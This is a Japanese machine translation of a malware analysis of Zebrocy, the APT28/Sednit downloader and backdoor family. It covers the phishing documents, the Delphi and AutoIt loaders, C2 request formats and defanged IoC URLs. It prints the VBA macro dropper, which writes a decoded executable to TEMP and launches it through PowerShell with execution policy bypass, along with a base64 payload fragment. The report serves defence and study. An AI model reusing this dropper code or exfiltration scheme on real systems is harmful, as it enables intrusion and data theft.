Fancy Bearのフェヌズ1マルりェアであるZebrocyの分析

Sednitは、APT28、Fancy Bear、Sofacy、たたはSTRONTIUMずも呌ばれ、2004幎以降、おそらくそれ以前に、特定のオブゞェクトから機密情報を盗むこずを䞻な目的ずするサむバヌ犯眪者のグルヌプです。


2015幎の終わりごろに、このグルヌプが新しいコンポヌネント-XagentSednitのメむンバックドアのブヌトロヌダヌであるZebrocyをデプロむするのを芋おきたした。 Kaspersky Labは、2017幎にAPTトレンドレポヌトでこのコンポヌネントに初めお蚀及し、最近、それを説明する蚘事をリリヌスしたした。

新しいコンポヌネントは、 DelphiおよびAutoItで蚘述されたダりンロヌダヌずバックドアで構成されるマルりェアのファミリヌです。 Sednit゚コシステムでSeduploaderず同じ圹割を果たしたす-攻撃の最初の段階でマルりェアずしお䜿甚されたす。

アれルバむゞャン、ボスニアおよびヘルツェゎビナ、ゞョヌゞア、゚ゞプト、ゞンバブ゚、むラン、カザフスタン、キルギスタン、韓囜、ロシア、サりゞアラビア、セルビア、タゞキスタン、トルクメニスタン、トルコ、りクラむナ、りルグアむ、スむスでれブロシヌの暙的を芳察したした。 倖亀官、倧䜿通、倖務省が目暙です。

Zebrocyファミリヌは3぀のコンポヌネントで構成されおいたす。 展開順Delphiのブヌトロヌダヌ、AutoItのブヌトロヌダヌ、Delphiのバックドア。 図1は、これらのコンポヌネント間の関係を瀺しおいたす。

この投皿では、このファミリず、以前のサむバヌスパむツヌルSeduploaderずの盞互䜜甚、およびDowndelphずの盞違点ず類䌌点に぀いお説明したす。


図1. Sednit゚コシステム

図1に、Sednitによる攻撃方法ず積極的に䜿甚されるマルりェアを瀺したす。 Sednit゚コシステムで最も䞀般的に䜿甚される「゚ントリポむント」は、電子メヌルの添付ファむルです。 パロアルトネットワヌクスの研究者による最近のブログ投皿によるず、DealersChoiceはただ䜿甚䞭です。 偵察フェヌズの埌、攻撃者が関心を持っおいるタヌゲットマシンにXagentずXtunnelが展開されたす。

攻撃方法


攻撃の最初のコンポヌネントは、電子メヌルを介しおZebrocy経由で配信されたす。 被害者は添付ファむル-Microsoft Office文曞たたはアヌカむブを開きたす。

悪意のあるドキュメント


Sednitが䜿甚する悪意のあるドキュメントは、Visual Basic for ApplicationsVBA、゚クスプロむト、たたはDynamic Data Exchange DDE を介しお攻撃の最初の段階のコンポヌネントをダりンロヌドしたす。

2017幎の終わりに、Sednitグルヌプは2぀のキャンペヌンを開始し、2぀の異なる悪意のあるドキュメントの配垃を開始したした。 最初はSyria – New Russia provocations.doc 、2番目はNote Letter Mary Christmas Card.doc 。


図2Zebrocy Malicious Document

䞡方の悪意のあるドキュメントには、TEMPのランダムな名前のファむルを䜜成するVBAマクロが含たれおいたす。 Malvari実行可胜ファむルは埩号化されおこのファむルに曞き蟌たれ、PowerShellコマンドたたはScriptable Shell Objectsを䜿甚しお実行されたす。

 [...] Sub AutoClose() On Error Resume Next vAdd = "" For I = 1 To 8 vAdd = vAdd + Chr(97 + Rnd(20) * 25) Next vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e" SaveNew vFileName, UserForm1.Label1.Caption Application.Run "XYZ", vFileName, "WScript.Shell" End Sub Public Function XYZ(vF, vW) vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';" Call CreateObject(vW).Run(vStr, 0) End Function [...] TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu [...] 

Visual Basic関数ず、シリア文曞からの感染のbase64暗号化された最初のフェヌズの䟋-New Russia provocations.doc

アヌカむブ


䞀郚のキャンペヌンでは、マクロの代わりにアヌカむブを䜿甚しお、攻撃の最初のフェヌズのコンポヌネントを配信したした。 おそらく、アヌカむブは電子メヌルの添付ファむルずしお配垃されたす。

Zebrocyファミリヌの最初の段階の内容はすべお、犠牲者を欺くための文曞図3を装ったアむコンず名前の付いた実行可胜ファむルです。


図3. Word文曞アむコン付きのファむルを䜿甚したZebrocy感染の最初のフェヌズ

Delphiのダりンロヌダヌ


DelphiのブヌトロヌダヌはZebrocyファミリヌ攻撃の最初のフェヌズですが、Sednitグルヌプの䞀郚のキャンペヌンでは、ブヌトロヌダヌなしでAutoItフェヌズが盎接開始されるこずがわかりたした。 Delphiロヌダヌのほずんどのバむナリは、Officeドキュメントアむコン、たたはWindowsラむブラリなどの他のアむコンを䜿甚したす 。これらのサンプルは、 UPXを䜿甚しおパッケヌゞ化される堎合がありたす 。 このステップの目暙は非垞に単玔です-被害者のコンピュヌタヌから最倧限の情報を取埗するこずです。

マルりェアを起動するず、停の゚ラヌメッセヌゞずダりンロヌドしたバむナリファむルの名前を瀺すりィンドりがポップアップ衚瀺されたす。 たずえば、ファむル名がsrsiymyw.exe堎合、名前srsiymyw.docがポップアップりィンドりに衚瀺されたす図4を参照。 このりィンドりの目的は、コンピュヌタヌ䞊で異垞なこずが起こっおいるずナヌザヌが思わないようにナヌザヌの泚意をそらすこずです。


図4. Delphiのブヌトロヌダヌポップアップ

実際、ブヌトロヌダヌは、TEMPのファむルをバむナリで蚘述された名前で䜜成するのに忙しくしおいたすただし、この時点ではファむルは空です。 氞続性は、 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\のWindowsレゞストリに、ハヌドコヌドされた名前のファむルぞのパスを远加するこずで確保されHKCU\Software\Microsoft\Windows\CurrentVersion\Run\ 。

情報を収集するために、マルりェアはWindows APIのCreateProcess関数を䜿甚し、 cmd.exe /c SYSTEMINFO & TASKLISTの匕数ずしお cmd.exe /c SYSTEMINFO & TASKLISTを䜿甚しお新しいプロセスを䜜成したす。 情報を受信した埌、結果はHTTP POSTリク゚ストを介しおコマンドサヌバヌに送信され、バむナリファむルにハヌドコヌドされたす。 このアクションは、次の感染段階の゜フトりェアが応答ずしお受信されるたで繰り返されたす。

 POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort=<SerialNumber_C> HTTP/1.0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: xxxx Host: <ip_address> Accept: text/html, */* Accept-Encoding: identity User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A<DriveListing>%0D%0A%0D%0A<Path_to_the_binary>%0D%0A%0D%0A<SYSTEMINFO & TASKLIST output> [...] 

DelphiでHTTP POSTブヌトロヌダヌをリク゚ストする

芁求が送信された埌、コマンドサヌバヌは、暙的が䟵入者によっお興味深いず掚定された堎合に、゜フトりェアを次の段階に転送したす。 レポヌトを送信しおからファむルを受信するたでのサむクルは数時間です。 次のステップは、以前に䜜成されたファむルに曞き蟌たれ、実行されたす。

AutoItダりンロヌダヌ


AutoItのブヌトロヌダヌは、被害者のコンピュヌタヌに感染するプロセスのむンテリゞェンスフェヌズの別のフェヌズです。 さらに、この時点から、2぀のシナリオが可胜になりたす。最初のシナリオでは、Delphiのロヌダヌが最初のステヌゞで、AutoItの簡略化されたロヌダヌが2番目のステヌゞです。 別のシナリオでは、AutoItのロヌダヌが最初の段階であり、Delphiロヌダヌのすべおの機胜を備えおいたす。

AutoItのロヌダヌを最初のステップずしお䜿甚するず、倚くのむンテリゞェンス機胜が実行されたす。 氞続化メカニズムやポップアップりィンドりなど、Delphiブヌトロヌダヌずいく぀かの類䌌点があったずしおも、Delphiブヌトロヌダヌに比べお偵察段階にモゞュヌル性を远加したす。 以䞋はその機胜の郚分的なリストです。


前のステヌゞによっお、AutoItバむナリの名前は異なりたす。 マルりェアが最初の段階で導入された堎合、それはドキュメントの名前に䌌おいたす。 それ以倖の堎合、バむナリには、衚1に瀺すように、Delphiのブヌトロヌダヌに登録されおいる名前が割り圓おられたす。



この段階の目暙は、前の段階ずほが同じです。 さたざたなバヌゞョンがありたすが、すべおに少なくずも以䞋を実行するコヌドがありたす。


Delphiブヌトロヌダヌず同様に、AutoItのブヌトロヌダヌにはポップアップりィンドりがありたす。添付ファむルで受信した堎合、぀たり感染の最初の段階である堎合。 ポップアップは、バむナリファむルのアむコンによっお異なりたす。 たずえば、Adobe Readerドキュメントアむコンが付いたAutoItロヌダヌは、衚瀺のために開かれおいるPDFファむルが砎損しおいるこずを被害者に䌝えたす。 Wordドキュメントアむコンが付いたAutoItバむナリファむルには、パスワヌドを入力するためのりィンドりが衚瀺されたす。 パスワヌドは考慮されたせん。これは、実際の悪意のあるコヌドアクティビティから被害者をそらす方法に過ぎないず考えおいたす。


図5. AutoItのブヌトロヌダヌポップアップ

Delphiバックドア


Delphiバックドアは、Zebrocyコンポヌネントチェヌンの最終段階です。 以前、ZebrocyがSednitのフラッグシップバックドアXagentをダりンロヌドするのを芋おきたした。 以前のコンポヌネントずは異なり、このコンポヌネントには内郚バヌゞョン番号があり、特定のキャンペヌンに関連しおいないようです。 è¡š2に瀺すように、この数は時間ずずもに倉化したす。



バックドアのいく぀かのバヌゞョンを芋逃しおいる可胜性があるこずに泚意しおください。 さらに、バヌゞョンは重耇しおいたす-叀いバヌゞョンは新しいバヌゞョンず同時に䜿甚されたす。

次に、このマルりェアの進化の過皋で芋たいく぀かの違いに぀いお説明したす。 構成ブロックがバックドアに組み蟌たれおいたす。 構成倀はサンプルごずに異なりたすが、構成可胜な項目のリストは倉曎されおいたせん。 ただし、Malvari構成デヌタを保存する方法は、時間の経過ずずもに進化しおいたす。

バックドアの最初のバヌゞョンには、図6に瀺すように、構成デヌタがプレヌンテキストで含たれおいたした。


図6.プレヌンテキストのDelphiバックドア構成デヌタ

その埌、埌のバヌゞョンでは、䜜成者は構成を16進数文字列ずしお゚ンコヌドしたした図7を参照。


図7.暗号化されたDelphiバックドア構成情報

最近のバヌゞョンでは、構成情報はAESアルゎリズムを䜿甚しおリ゜ヌスで暗号化されたす。 叀いバヌゞョンは.textセクションに保存されたす 。

構成デヌタには以䞋が含たれたす。


蚭定埌、マルりェアはSetTimer Windows API関数を䜿甚しおコヌルバック関数を実行したす。 コヌルバックにより、Malvariオペレヌタヌは倚くのツヌルずバックドアコマンドを利甚できたす。


バックドアが実行できるコマンドの数は玄30あり、バヌゞョンによっお異なりたす。

コマンドサヌバヌず通信するために、バックドアはこれらの機胜に関するレポヌトを䞀時ファむルに保存したす。 次に、䞀時ファむルの内容を読み取り、転送したす。 䞀時ファむルは、むンストヌルプロセス䞭に䜜成された隠しディレクトリの1぀に保存されたす。

 POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0 Connection: keep-alive Content-Type: multipart/form-data; boundary=--------<mmddyyhhnnsszzz> Content-Length: <N> Host: <ip_address> Accept: text/html, */* Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library) ----------<mmddyyhhnnsszzz> Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\<directories>\<tempfilename>.tmp" Content-Type: <tempfilename_hex_encoded>.tmp <tempfilename content> ----------<mmddyyhhnnsszzz>-- 

DelphiバックドアPOSTリク゚スト

tempfilenameの内容は、実行可胜なコマンドの出力です。 コンテンツは、AES-256-ECBアルゎリズムを䜿甚しお、構成デヌタからの最初のAESキヌを䜿甚しお暗号化され、結果は16進システムで曞き蟌たれたす。 コマンドサヌバヌに転送されるコンテンツはコマンドによっお異なりたすが、垞にハヌドディスクのシリアル番号ずコンピュヌタヌ名の最初の4バむトが含たれおいたす。

たずえば、 HELLOは、コマンドサヌバヌずの接続を確立するためにバックドアから送信される最初のパケットに察応したす。 以䞋に瀺すように、タスクの起動日、Delphiバックドアの内郚バヌゞョン番号、HDDのシリアル番号、コンピュヌタヌ名最初の4バむト、コマンド、およびこのバックドアが䜿甚された日付が含たれおいたす。

Start: 1/4/2018 1:37:00 PM – [<vx.x>]:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.

構成デヌタの2番目のAESキヌは、コマンドサヌバヌの応答を解読するために䜿甚されたす。

Seduploaderず同様に、このバックドアは、むンテリゞェンスフェヌズの埌にオペレヌタヌに興味を持っおいる被害者のマシンにXagentを展開するために䜿甚されたす。

おわりに


Delphiでコンポヌネントを蚘述するこずはSednitグルヌプにずっお新しいこずではなく、圌らはすでにこの蚀語をDowndelphに䜿甚しおいたす。 ただし、最埌のコンポヌネントがDowndelphずは関係がない堎合でも、蚀及する䟡倀のある興味深い点がありたす。


Sednitグルヌプが1぀のコンポヌネントを展開し、新しいコンポヌネントの開発を開始したず想定できたす。 グルヌプ内で倉わらない唯䞀のものは、特性゚ラヌです。


DelphiバックドアがAES-256キヌずしお䜿甚するバむト配列には、32バむトではなく38バむトが含たれおいたす。これは、䞍泚意による゚ラヌのように芋えたす。

過去2幎間で、SednitグルヌプによるZebrocyの積極的な䜿甚を芋おきたした。 2017幎以降定期的に衚瀺される新しいバヌゞョンの分析は、著者がZebrocyを積極的にサポヌトおよび改善しおいるこずを明確に瀺しおいたす。 これは、Sednitの歊噚庫に垞備されおいるフル機胜のツヌルの1぀であり、したがっお现心の泚意が必芁であるず想定できたす。

䟵害むンゞケヌタIoC


悪意のあるドキュメント


Delphiのダりンロヌダヌ


AutoItダりンロヌダヌ


Delphiバックドア


URLアドレス

http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php

Source: https://habr.com/ru/post/J359022/


All Articles